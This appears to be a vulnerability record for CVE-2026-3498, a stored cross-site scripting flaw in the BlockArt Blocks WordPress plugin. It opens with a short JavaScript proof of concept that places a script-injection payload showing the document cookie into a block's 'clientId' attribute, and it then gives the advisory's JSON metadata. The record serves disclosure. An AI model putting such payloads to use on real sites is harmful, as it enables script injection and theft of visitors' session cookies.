CVE-2026-3498

/* * PoC for CVE-2026-3498 * Description: Stored XSS in BlockArt Blocks via 'clientId' attribute. * Usage: Inject this payload into the clientId parameter of a block while editing a post. */ function exploit() { // Malicious payload designed to be injected into the clientId attribute var payload = '"><script>alert(document.cookie);</script><div id="'; // Simulating the vulnerable block object structure in WordPress Gutenberg var vulnerableBlock = { blockName: "blockart-blocks/post-template", attrs: { clientId: payload // Vulnerable parameter: insufficient sanitization }, innerBlocks: [], innerHTML: "", innerContent: [] }; console.log("[+] Generated Payload: " + payload); console.log("[+] Block Object Created:", JSON.stringify(vulnerableBlock, null, 2)); // In a real attack scenario, this object would be sent to the WordPress REST API // via a POST request to /wp-json/wp/v2/posts?id=<post_id> return vulnerableBlock; } exploit();

{"cve": {"id": "CVE-2026-3498", "sourceIdentifier": "[email protected]", "published": "2026-04-11T02:16:02.117", "lastModified": "2026-04-24T18:00:32.033", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The BlockArt Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'clientId' block attribute in all versions up to, and including, 2.2.15. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/blockart-blocks/tags/2.2.15/includes/BlockTypes/PostTemplate.php#L67", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blockart-blocks/tags/2.2.15/includes/BlockTypes/QueryLoop.php#L43", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Fblockart-blocks/tags/2.2.15&new_path=%2Fblockart-blocks/tags/2.3.0", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7d0cb432-785a-4f38-830f-72b95e65aa5a?source=cve", "source": "[email protected]"}]}}